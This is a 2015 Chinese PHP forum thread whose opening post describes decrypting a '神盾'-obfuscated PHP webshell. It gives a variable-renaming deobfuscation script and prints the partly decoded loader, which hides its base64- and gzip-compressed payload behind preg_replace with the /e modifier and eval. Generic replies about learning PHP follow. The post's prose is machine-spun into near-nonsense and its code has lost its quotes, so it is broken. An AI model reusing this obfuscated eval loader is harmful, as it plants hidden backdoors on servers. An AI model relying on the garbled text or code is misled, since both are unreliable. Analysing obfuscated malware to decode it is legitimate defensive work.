再现理想 发表于 2015-1-16 22:12:40

PHP网站制作之浅谈 PHP 神盾的解密历程

没有人会喜欢和见异思迁的人交朋友,因为这种人太不安分,太不可靠,因此,你必须要强迫自己完成自己的目标,哪怕可能会很难受,也得坚持,毅力就是这么锻炼出来的。前些日子一个伴侣丢了个shell给我,让我协助解密,翻开源码看了下写着是“神盾加密”,牛逼闪闪的模样、百度下发明神盾是个很陈旧的器材,最初一次更新是在2012-10-09。和他类似的另外一款是phpjm,有人说是神盾剽窃phpjm的,这些都不是我们所要体贴的成绩、phpjm一向在更新,而神盾貌似不弄了,我们剖析下神盾,特地写成工具,便利人人利用(由于他不更新,以是就不必忧虑解密工具生效成绩了)。实在网上早就有人剖析过这个了,并且写成了工具、可是我测试了良多个,没一个能用,以是决意本人重新剖析一遍。翻开神盾加密事后的源码,能够看到如许的代码下面写着告白正文,并且不克不及删除,由于文件开端有个md5效验码,以考证代码是不是被修正过,如图、再细心看代码部分,发明内里都是乱码,实在这都是障眼法,它使用了php变量扩大到latin1字符局限,其变量婚配正则是$*如许的格局。这个今天已剖析过了,终极也在官网找到了谜底,请看《浅谈PHP变量可用字符》有点扯远了,我们来做第一步解密处置吧。PS:这只是我的解密思绪,与人人分享一下,大概你有更好的办法还看分享。。<?php$str=file_get_contents("1.php");//第一步交换一切变量//正则$*preg_match_all($*,$str,$params)ordie(err0.);$params=array_unique($params);//往反复$replace=array();$i=1;foreach($paramsas$v){$replace[]=$p.$i;tolog($v.=>$p.$i);//纪录到日记$i++;}$str=str_replace($params,$replace,$str);//第二步交换一切函数名//正则function(*)preg_match_all(function(*),$str,$params)ordie(err0.);$params=array_unique($params);//往反复$replace=array();$i=1;foreach($paramsas$v){$replace[]=fun.$i;tolog($v.=>fun.$i);//纪录到日记$i++;}$str=str_replace($params,$replace,$str);//第三步交换一切不成显现字符functiontohex($m){$p=urlencode($m);//把一切不成见字符都转换为16进制、$p=str_replace(%,x,$p);$p=str_replace(+,,$p);//urlencode会吧空格转换为+return$p;}$str=preg_replace_callback(s,"tohex",$str);//写到文件file_put_contents("1_t1.php",$str);functiontolog($str){file_put_contents("replace_log.txt",$str."
",FILE_APPEND);}?>(个中有一个纪录到日记的代码,这个在以后的二次解密时有效。)实行以后就会失掉一个1_t1.php文件,翻开文件看到相似如许的代码找个工具格局化一下,我用的phpstorm自带了格局化功效,然儿女码就明晰良多了。进一步收拾后失掉以下代码:<?php//Startcodedecryption<<===if(!defined(IN_DECODE_82d1b9a966825e3524eb0ab6e9f21aa7)){define(xA130x8C,true);functionfun1($str,$flg=""){if(!$flg)return(base64_decode($str));$ret=?;for($i=0;$i<strlen($str);$i++){$c=ord($str[$i]);$ret.=$c<245?($c>136?chr($c/2):$str[$i]):"";}returnbase64_decode($ret);}functionfun2(&$p14){global$p15,$p16,$p17,$p18,$p19,$p3;@$p17($p18,$p19.(@$p16($p15(eNq9kl1r01AYx79KG0JzDqZJT9KkL2ladXYgWxVsh6iTkCYna7o2yZL0dfTGG0GkoHhVi1dFxi5EZv0KvRSRMYYfQob0A5g0bM6BF0Pw4rw9539+53nO+ZeKhZLTcGKmAeII5kvFgqe5puPH/IGDZcLHfZ9tql01ihLFnmnpdo9p2Zrqm7bFNFxsyETD9508y/Z6P.$p15(fun1(xACxA8x94x8ExA2xD65xE6xA4xA8x8A=,x9ExA8A4xB4Dx92xF0xB4x8Ex8CxD8x9AxF4xD61x9CxA8xC60x9AxF4xA4xD4xB2xF4x9A3x9AxD4xCExEEx9CxDAxB4xD2x9AxF4x8A3x9Cx8ExAA=)).juztsoMT9cF1q27qsY83WcSLslF08kLOcjuo5NSeKWU7AvMClcT2l1kWcMzikqpmEZ+5YssiJWMO6kVY5geezhihkNYx4MZtDGp9OpwmpwEapFQvxZDKqBVu6aUjkcySgZ/IhyqDPgFrws58f+Teni/HZ1yPuUKZo6t3BrfT8zuuz+fjl6WR5gqYHi9RkOTs+Wk74yfGXH9Pv82+T5Qt+Og7kUCLfB8nMLvPCdn1O8NIRCpCfUE4Y05S117h9b/NBebe7lmraw0ftbu1h5fHA7jfX1NxGbcvrVtWK4G4NO6LGubVqu1vdqAiD+3vNVACE+xFHjgoG/4ajKYqOeEHFEfcmeZLJvgXnUdOIAcfFO0pb9bUGIFjA3CjB7fCjtwFL0IqyfnezrCg0+QGl+FcQxvajmRwNT9BTaRTDLQ9fbJwfkUZkZBPFcGTDdrAFIgVDhHiCptzwIy40ysojhotVHfyO0obZwp45xH8ehlAytJbt4UtSKAGvU/d8F1yB0kmeg3G5rQsgbH8RpVYyyFArU1zPBzCR0E0MqPUg2WoAy5fdsLiO5WH/6kVQGv1n1/wChxaEtA==)).$p16($p15($p3))),"82d1b9a966825e3524eb0ab6e9f21aa7");}}global$p15,$p16,$p17,$p18,$p19,$p3;$p17=preg_replace;$p18=/82d1b9a966825e3524eb0ab6e9f21aa7/e;$p15=base64_decode;$p19=eval;$p16=gzuncompress;$p3=;@$p17($p18,$p19.(@$p16($p15(eNplks9Og0AQxu8mvgMlxrYHoMCyQPkXvdhDE5to4sE0BtihoMgSSqWN8RV60pMX73oy8RG8e/J5bLutIeWyyfebnS/zTcZzbS+Pcy6JOi252/dcexoWSV5y5SIHhy9hXkq3/oPPKO9WSUZoJaY09MuEZmJcQOTwcVnmfUmqqkpcmZFcpMVEWv2E+Vp795Q4BEJK4Hj93NzBwjEUIgemb2JsKB.$p15(fun1(xB21xC65xC8A==,x9ExA8A4xB4Dx92xF0xB4x8Ex8CxD8x9AxF4xD61x9CxA8xC60x9AxF4xA4xD4xB2xF4x9A3x9AxD4xCExEEx9CxDAxB4xD2x9AxF4x8A3x9Cx8ExAA=)).oIg6PkBBjNSZN/Xj6fJJHOwgiEEEiFf0VTViLBmhCCr2DDlUEUI8ZYtsdFcuyUILAtkJIksjyU7PIAwplx7AGlKuStapMQOCrdt7QqXcTLlRoPRmmx7uKOz4fnpyfDi+k3T8HLs/Otf3XityU9Fea/JL6z36uUXpOOfmn5GhvpR00sZoe+xk83S1JplUyg7e63dfcwcGpgZNfBmvAbdZGhQ.($p20.=fun2($p20))))),"82d1b9a966825e3524eb0ab6e9f21aa7".($p20=xxDAxCB)vnqhBNLREkvC0jozYmvTWMZyoxjCa9KTUsvSaM5rUzu6c2rTSmvSKM5yOqj0=OFF.xADH5xCF2x88xF0ux8BL*xCDxF2223.xB1xF0FF1xCF+x02x00xB6xCAxBE));//Endofthedecryptioncode===>>returntrue;?>76cde264ef549deac4d0fae860b50010是否是很明晰了,剩下的就是基础代码了,另有个常识点preg_replace当正则润色符含有e的时分,就会把第二个参数看成php代码剖析实行,$p18变量里就是谁人正则,开端的e在闪闪发光。另有fun2里的内容最好再次输入一个文件,然后用下面的办法交换下变量。@$p17那一行的才是我们真实的源码,可是尾部有一部在fun2函数里,由于fun2里才是真实的考证和输入尾部base64代码。剩下的我懒的写了,由于一切解密要用到的常识我都已说了、今天我会把我写的解密代码用这个工具加密后贴出来,我会供应解密api给人人挪用的。不是我装逼大概是夸耀,由于授之以鱼不如授之以渔,也能够说本人下手人给家足。固然也有人只需了局,不要历程,那我间接给你api也是一样的,对吧。分类:PHP不过还好,PHP语言给出的语法错误很详细,只要稍微熟悉一点之后,看错误提示就能很容易找出错误所在的。PHP还有一个特别好用的调试功能,在PHP语句中,你可以随时用echo来输出结果。

蒙在股里 发表于 2015-1-18 21:08:01

环境搭建好,当你看见你的浏览器输出“it works\\\\\\\"时你一定是喜悦的。在你解决问题的时候,我强烈建议多读php手册。

飘飘悠悠 发表于 2015-1-23 19:37:08

在学习的过程中不能怕麻烦,不能有懒惰的思想。学习php首先应该搭建一个lamp环境或者是wamp环境。这是学习php开发的根本。虽然网络上有很多集成的环境,安装很方便,使用起来也很稳定、

活着的死人 发表于 2015-1-31 19:42:36

至于模板嘛,各位高人一直以来就是争论不休,我一只小菜鸟就不加入战团啦,咱们新手还是多学点东西的好。

飘灵儿 发表于 2015-2-6 21:45:14

php里的数组为空的时候是不能拿来遍历的;(这个有点低级啊,不过我刚被这个边界问题墨迹了好长一会)

第二个灵魂 发表于 2015-3-6 10:25:39

php是动态网站开发的优秀语言,在学习的时候万万不能冒进。在系统的学习前,我认为不应该只是追求实现某种效果,因为即使你复制他人的代码调试成功,实现了你所期望的效果,你也不了解其中的原理。

不帅 发表于 2015-3-13 00:08:38

我要在声明一下:我是个菜鸟!!我对php这门优秀的语言也是知之甚少。但是我要在这里说一下php在网站开发中最常用的几个功能:

愤怒的大鸟 发表于 2015-3-20 06:49:20

至于模板嘛,各位高人一直以来就是争论不休,我一只小菜鸟就不加入战团啦,咱们新手还是多学点东西的好。
页: [1]
查看完整版本: PHP网站制作之浅谈 PHP 神盾的解密历程